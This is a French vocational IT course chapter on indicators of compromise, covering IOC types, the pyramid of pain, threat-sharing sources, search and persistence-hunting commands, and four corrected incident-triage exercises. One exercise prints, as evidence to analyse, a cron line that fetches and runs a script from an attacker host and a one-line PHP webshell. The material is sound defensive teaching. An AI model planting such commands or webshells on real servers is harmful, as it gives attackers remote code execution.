Aller au contenu
Réussir mon BTS SIO

Tape une notion, une commande ou le nom d'une épreuve.

Par exemple

Chapitre 515 minIntermédiaire

Indicateurs de compromission (IOC) : détecter une attaque

Par Josselyn C., prof de BTS SIO. Mis à jour le .

À la fin de ce chapitre, tu sauras

  • définir un indicateur de compromission et le distinguer d'un indicateur d'attaque ;
  • classer des IOC du plus facile au plus coûteux à contourner pour l'attaquant ;
  • rechercher un IOC dans des journaux et sur un poste ;
  • qualifier une alerte : incident confirmé ou faux positif.

4 exercices corrigés1 schéma

Un indicateur de compromission (IOC, de l'anglais Indicator of Compromise) est une trace technique qui signale qu'un système a probablement été attaqué : l'empreinte d'un fichier malveillant, une adresse IP ou un nom de domaine utilisé par des attaquants, une clé de registre créée par un programme malveillant. Ce chapitre présente les types d'IOC, leur valeur pour la défense, où les trouver, comment les rechercher dans les journaux et sur les machines, et comment s'en servir pour qualifier une alerte.

IOC et IOA : la trace et le comportement

  • Un indicateur de compromission est une donnée précise et statique : « le fichier dont l'empreinte SHA-256 est a7da3a3e… », « l'adresse 198.51.100.23 ». Sa présence prouve presque à coup sûr un lien avec une attaque connue. Mais il ne détecte que ce qu'on connaît déjà, et souvent après coup.
  • Un indicateur d'attaque (IOA, Indicator of Attack) décrit un comportement : « un traitement de texte lance PowerShell, qui télécharge un fichier », « un compte lit 4 000 fichiers en trois minutes ». Il ne dépend pas d'un outil précis et repère aussi des attaques nouvelles, au prix de plus de faux positifs.

Les deux se complètent : les IOC servent à chercher vite des traces connues sur tout le parc, les IOA à repérer ce qu'aucune liste ne contient encore.

Les types d'IOC

TypeExempleOù le chercher
Empreinte de fichier (SHA-256, SHA-1, MD5)a7da3a3e30f5cbc9e0df84e6755b33d30d18c42b8035a393b832cc6dc2f498dbFichiers des postes et serveurs, EDR, antivirus
Adresse IP198.51.100.23Pare-feu, proxy, journaux des serveurs, SIEM
Nom de domainecmd-update-win.exampleJournaux DNS, proxy, messagerie
URLhttp://198.51.100.23/xProxy, journaux web, courriels
Nom ou chemin de fichier/tmp/.x, C:\PerfLogs\P64.exeDisques, EDR
Clé de registreHKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchostRegistre des postes Windows
Tâche planifiée, service, entrée cronTâche « MiseAJour » lançant un exécutable dans %TEMP%Planificateur, crontab, événements 4698 et 7045
CompteCompte support2 créé hors procédureAnnuaire, événements 4720
Objet ou expéditeur de courriel« Relance facture impayée », compta@fournisseur-factures.examplePasserelle de messagerie
Agent utilisateursqlmap/1.9, WindowsPowerShell/5.1 sur une page de connexionJournaux web

La pyramide de la douleur

Tous les IOC n'ont pas la même valeur. La pyramide de la douleur, proposée en 2013 par l'analyste David Bianco, les classe selon l'effort qu'il faut à l'attaquant pour les changer, et donc selon la gêne que tu lui causes en les bloquant.

TTPtrès difficilechanger sa méthodeOutilsdifficiletrouver d'autres outilsTraces réseau et systèmeagaçantmodifier son outillageNoms de domainesimpleacheter un domaineAdresses IPfacilechanger de serveurEmpreintes de fichierstrivialmodifier un octetvaleur pour la défenseEffort pour l'attaquant, du plus faible (en bas) au plus fort (en haut)
La pyramide de la douleur : plus l'indicateur est haut, plus il coûte à l'attaquant de le contourner

La conséquence est pratique. Bloquer une empreinte ou une adresse IP est utile et immédiat, mais l'attaquant s'adapte en quelques minutes. Détecter un comportement (une force brute suivie d'un succès, un compte qui s'ajoute aux administrateurs, un outil qui vide la mémoire du processus d'authentification de Windows) le gêne beaucoup plus, parce qu'il doit changer sa méthode.

Où trouver des IOC

  • Les bulletins du CERT-FR (cert.ssi.gouv.fr) : les alertes signalent une menace en cours d'exploitation, les avis une vulnérabilité et son correctif, et les rapports sur la menace décrivent des modes opératoires d'attaquants avec leurs IOC. Le sujet SISR 2026 fournit l'alerte CERTFR-2021-ALE-022 sur Log4j, qui donne les chaînes à chercher dans les journaux.
  • Les plateformes de partage comme MISP, un logiciel libre de partage d'indicateurs utilisé par de nombreux CERT et entreprises, qui échange les IOC dans des formats standard (STIX).
  • Les éditeurs de sécurité et les projets communautaires, qui publient listes et règles.
  • Tes propres incidents : chaque IOC relevé chez toi sert à chercher ailleurs dans ton parc, et peut être partagé avec ton CSIRT régional.

Deux formats de règles sont utiles à connaître de nom : YARA décrit des motifs pour reconnaître des fichiers malveillants, Sigma décrit des motifs de détection dans les journaux, de façon indépendante du SIEM utilisé.

Quand on partage des IOC, on indique leur diffusion autorisée avec le TLP (Traffic Light Protocol) : TLP:RED (destinataires nommés uniquement), TLP:AMBER+STRICT (l'organisation du destinataire seulement), TLP:AMBER (l'organisation du destinataire, et ses clients si nécessaire), TLP:GREEN (la communauté, pas de publication) et TLP:CLEAR (diffusion libre).

Rechercher un IOC

Une empreinte de fichier. On calcule l'empreinte du fichier suspect et on la compare à la liste.

bash
sha256sum /tmp/.x
text
a7da3a3e30f5cbc9e0df84e6755b33d30d18c42b8035a393b832cc6dc2f498db  /tmp/.x
powershell
Get-FileHash -Algorithm SHA256 C:\Users\jperrin\Downloads\facture.exe

Une adresse ou un domaine. On cherche dans les journaux du pare-feu, du proxy et du DNS, de préférence dans le SIEM pour couvrir tout le parc et toute la période :

bash
# Sur le collecteur : quelles machines ont parlé à 198.51.100.23 ?
grep -rl "198.51.100.23" /var/log/central/

Une persistance sur Linux. On regarde les endroits où un attaquant s'installe pour revenir :

bash
crontab -l -u deploy                          # tâches planifiées du compte
ls -la /etc/cron.d/ /etc/cron.daily/           # tâches système
systemctl list-unit-files --state=enabled      # services activés au démarrage
cat /home/deploy/.ssh/authorized_keys          # clés SSH autorisées
ls -la --time-style=full-iso /tmp /var/tmp /dev/shm   # fichiers déposés, souvent cachés (nom en .)
ss -tnp                                        # connexions réseau en cours et processus associés

Une persistance sous Windows.

powershell
# Programmes lancés à l'ouverture de session
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
                 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
# Tâches planifiées hors de celles de Microsoft
Get-ScheduledTask | Where-Object TaskPath -notlike '\Microsoft\*' | Select-Object TaskName, TaskPath, State
# Services dont l'exécutable est dans un dossier temporaire ou utilisateur
Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'Temp|Users|PerfLogs' } |
    Select-Object Name, PathName, StartMode

Exemple : chasser les traces de l'intrusion sur srv-web

Après l'analyse des journaux (chapitre 3), Léa dresse la liste des IOC de l'incident, puis les cherche partout.

IOCTypeRésultat de la recherche
203.0.113.45Adresse IP source de la force brutePrésente uniquement dans le journal SSH de srv-web
198.51.100.23Adresse IP du serveur de téléchargementsrv-web à 03:02:45 ; la tentative Log4Shell du matin la cite ; aucun autre serveur ne l'a contactée
/tmp/.x, SHA-256 a7da3a3e…f498dbFichier et empreintePrésent sur srv-web seulement
Ligne */10 * * * * /tmp/.xEntrée cron de deployPersistance : le fichier se relance toutes les 10 minutes
Clé SSH inconnue ajoutée à 03:03Ligne de authorized_keys de deployPersistance : l'attaquant peut revenir sans mot de passe
Compte deployCompte compromisUtilisé uniquement sur srv-web ; son mot de passe n'était réutilisé nulle part

Conclusion : la compromission est limitée à srv-web, avec deux persistances à supprimer pendant l'éradication. Sans ces IOC, l'équipe aurait changé le mot de passe de deploy en croyant l'affaire réglée, et l'attaquant serait revenu par sa clé SSH.

Qualifier l'alerte : incident confirmé ou faux positif ?

La qualification répond à une question simple, avec des preuves : y a-t-il eu compromission ?

  1. Relever ce que dit l'alerte : quoi, quand, quelle machine, quel compte.
  2. Comparer aux IOC disponibles (bulletins, rapports, incidents passés) et aux comportements normaux de la machine et de l'utilisateur.
  3. Chercher les traces qui confirment ou infirment : connexions, fichiers, processus, persistances.
  4. Conclure : incident confirmé (avec les IOC qui le prouvent), faux positif (avec l'explication), ou indéterminé (avec les vérifications restantes et une surveillance renforcée en attendant).

Côté SLAM : les IOC d'une application

Une application web compromise laisse aussi des traces propres :

  • un fichier inattendu dans le dossier de téléversement ou dans le code (upload/image.php qui exécute un paramètre cmd : une porte dérobée web, ou webshell) ;
  • des fichiers du code modifiés : git status sur le serveur, ou une comparaison des empreintes avec la version livrée, le révèle ;
  • des comptes administrateurs créés dans la base de l'application, des jetons d'API inconnus ;
  • une dépendance remplacée par une version piégée (attaque de la chaîne d'approvisionnement), visible dans le fichier de verrouillage (composer.lock, package-lock.json).

Hugo vérifie donc aussi le code et les données du site, pas seulement le système.

À l'E7

  • SISR, métropole 2023 (alors E6, U6), cas de la Ville du Parc : la question C1.1 demande la qualification de l'alerte (incident confirmé ou faux positif) en indiquant les indicateurs de compromission, à partir des journaux du proxy, d'une liste d'IOC d'un chargeur de maliciel et d'une liste d'IOC du rançongiciel Ryuk (domaines de commande et contrôle, noms et chemins de fichiers, empreinte MD5).
  • SISR, métropole 2022 (alors E6, U6), cas CalédoBank : à partir d'une alerte du CERT-FR sur le cheval de Troie Emotet, la question A2.1 fait détailler la recherche de traces permettant d'établir si le système est infecté, puis proposer trois mesures de réduction du risque.
  • SISR, métropole 2026 (U7), cas SPARCLE : la question A1.5 fait préciser les critères qui identifient les cibles potentielles de la vulnérabilité Log4j (une application Java utilisant une version vulnérable de la bibliothèque) et désigner les autres serveurs exposés.

Pour aller plus loin. Les règles de détection d'un IDS comme Suricata, qui transforment un IOC en alerte, sont expliquées dans le chapitre IDS et IPS du cours Cybersécurité des infrastructures.

Exercices

Exercice 1 sur 4 Classer des indicateurs Réussi À revoir

Pour chaque élément, donne son type et son étage dans la pyramide de la douleur, puis dis lequel tu bloquerais en premier et lequel te protège le plus longtemps.

  1. 103.208.86.5
  2. 9f2b…c41e (SHA-256 d'un exécutable)
  3. winsystem-update.example
  4. Tout exécutable lancé depuis C:\PerfLogs\ qui crée une tâche planifiée
  5. Le recours systématique à l'outil d'administration à distance PsExec pour se propager
Voir la réponseMasquer la réponse de l'exercice 1
  1. Adresse IP : étage « facile ».
  2. Empreinte de fichier : étage « trivial ».
  3. Nom de domaine : étage « simple ».
  4. Trace système, voire comportement : étage « agaçant » (chemin et artefact) ; formulée comme règle de détection, elle s'approche des techniques.
  5. Technique de mouvement latéral (une procédure de l'attaquant) : sommet, « très difficile ».

En premier : bloquer l'IP, le domaine et l'empreinte, c'est immédiat et sans risque (pare-feu, proxy et DNS, antivirus ou EDR). Le plus durable : détecter les éléments 4 et 5, parce que l'attaquant devra changer de méthode pour y échapper ; mais ces règles demandent plus de réglages pour éviter les faux positifs (des administrateurs utilisent aussi PsExec).

Tu avais trouvé ?

Exercice 2 sur 4 Qualifier une alerte Réussi À revoir

Un comptable de la mairie de Saint-Aubin (fictive) signale avoir cliqué sur un lien dans un courriel « Avis de virement ». Le poste a été débranché. Tu disposes de :

  • journal du proxy : à 10:42 et 10:43, connexions du poste vers 172.67.205.11 (domaine meronekis.space) puis vers 34.217.209.239 en HTTPS ;

  • liste d'IOC publiée pour le chargeur de maliciel « BazarLoader » : 172.67.205.11, meronekis.space, 34.217.209.239, 103.208.86.5 ;

  • liste d'IOC du rançongiciel que ce chargeur installe ensuite : empreinte MD5 544900a5…bc688f, fichiers xxx.exe, P64.exe, dossier C:\PerfLogs\ ;

  • sur le poste : aucune de ces empreintes, aucun de ces fichiers.

  1. Est-ce un incident confirmé ou un faux positif ? Justifie avec les IOC.
  2. Que cherches-tu ensuite, et où ?
Voir la réponseMasquer la réponse de l'exercice 2
  1. Incident confirmé. Le poste a contacté trois indicateurs de la liste BazarLoader (172.67.205.11, meronekis.space, 34.217.209.239) une minute après le clic : le lien a déclenché le téléchargement du chargeur, qui a joint son serveur de commande. L'absence des fichiers du rançongiciel signifie seulement que l'étape suivante n'a pas (encore) eu lieu, peut-être grâce au débranchement rapide. Prise seule, 172.67.205.11 prouverait peu : c'est une adresse d'un réseau de diffusion de contenu, partagée par de nombreux sites. C'est sa concordance avec le domaine meronekis.space et avec 34.217.209.239, dans la minute qui suit le clic, qui fait le faisceau d'indices.
  2. La suite :
  • chercher dans les journaux du proxy, du pare-feu et du DNS tous les postes qui ont contacté l'un des quatre indicateurs, dont 103.208.86.5, pas encore vu ;
  • chercher dans la messagerie tous les destinataires du même courriel (objet, expéditeur, lien) et les liens cliqués ;
  • sur le poste (à partir d'une copie, après collecte des preuves) : persistances (clés Run, tâches planifiées, services), processus et fichiers récents ;
  • bloquer les quatre indicateurs sur le proxy et le pare-feu ;
  • vérifier les connexions faites avec le compte du comptable depuis 10:42.

Tu avais trouvé ?

Exercice 3 sur 4 Trouver les persistances Réussi À revoir

Sur un serveur Debian suspect, Léa obtient :

text
$ crontab -l -u www-data
*/5 * * * * curl -s http://198.51.100.23/u.sh | sh
$ ls -la --time-style=+%F_%T /var/www/html/upload/
-rw-r--r-- 1 www-data www-data 184211 2026-09-02_10:15:31 catalogue-2026.pdf
-rw-r--r-- 1 www-data www-data     68 2026-10-13_09:44:02 img.php
-rw-r--r-- 1 www-data www-data  91822 2026-10-01_16:02:47 table-chene.jpg
$ cat /var/www/html/upload/img.php
<?php if (isset($_GET['c'])) { system($_GET['c']); } ?>
  1. Relève les IOC et explique chacun.
  2. Par quelle faille l'attaquant a-t-il probablement déposé img.php ? Que fais-tu pour le confirmer ?
Voir la réponseMasquer la réponse de l'exercice 3
  1. IOC :
  • Tâche cron du compte www-data : toutes les 5 minutes, elle télécharge un script depuis 198.51.100.23 et l'exécute. Persistance et canal de commande : l'attaquant peut changer u.sh à volonté. Le compte du serveur web n'a aucune raison d'avoir une tâche planifiée.
  • Adresse 198.51.100.23 : serveur de l'attaquant, à bloquer et à chercher dans tout le parc.
  • Fichier img.php dans le dossier de téléversement, créé le 13 octobre à 09:44:02, 68 octets : une porte dérobée web. Son code exécute sur le serveur toute commande passée dans le paramètre c (img.php?c=id).
  1. Le fichier est dans upload/ : le formulaire de téléversement accepte probablement des fichiers .php (pas de contrôle du type ni de l'extension), et le serveur exécute le PHP dans ce dossier. Pour confirmer : chercher dans le journal d'accès Apache les requêtes POST vers la page de téléversement autour de 09:44:02, puis les requêtes GET /upload/img.php?c=... (elles montrent les commandes passées et leur adresse source). Correctif : n'accepter qu'une liste blanche de types vérifiés côté serveur, renommer les fichiers, stocker hors de la racine web ou interdire l'exécution de PHP dans upload/.

Tu avais trouvé ?

Exercice 4 sur 4 Le réflexe VirusTotal Réussi À revoir

Un collègue veut déposer sur un site public d'analyse de fichiers la pièce jointe Excel reçue par la comptable, « pour voir si c'est un virus ». Que lui conseilles-tu ?

Voir la réponseMasquer la réponse de l'exercice 4

De chercher d'abord par empreinte (Get-FileHash ou sha256sum, puis recherche de la valeur sur le service) sans déposer le fichier. Déposer le fichier le rend consultable par les abonnés du service : s'il s'agit d'un vrai document de l'entreprise, ou s'il contient des noms ou des identifiants, c'est une divulgation ; et l'attaquant, s'il surveille le service, apprend que sa charge est découverte. Si l'analyse du fichier lui-même est nécessaire, elle se fait dans un environnement isolé (machine virtuelle sans réseau, bac à sable interne) ou par le prestataire de réponse à incident.

Tu avais trouvé ?

Chapitre terminé !

Fais les 4 exercices avant de passer à la suite : c'est en t'entraînant que tout se fixe.

chapitres
–
de série
–
du cours
–
Chapitre suivant : Preuves numériques et analyse forensiqueRevoir le sommaire du cours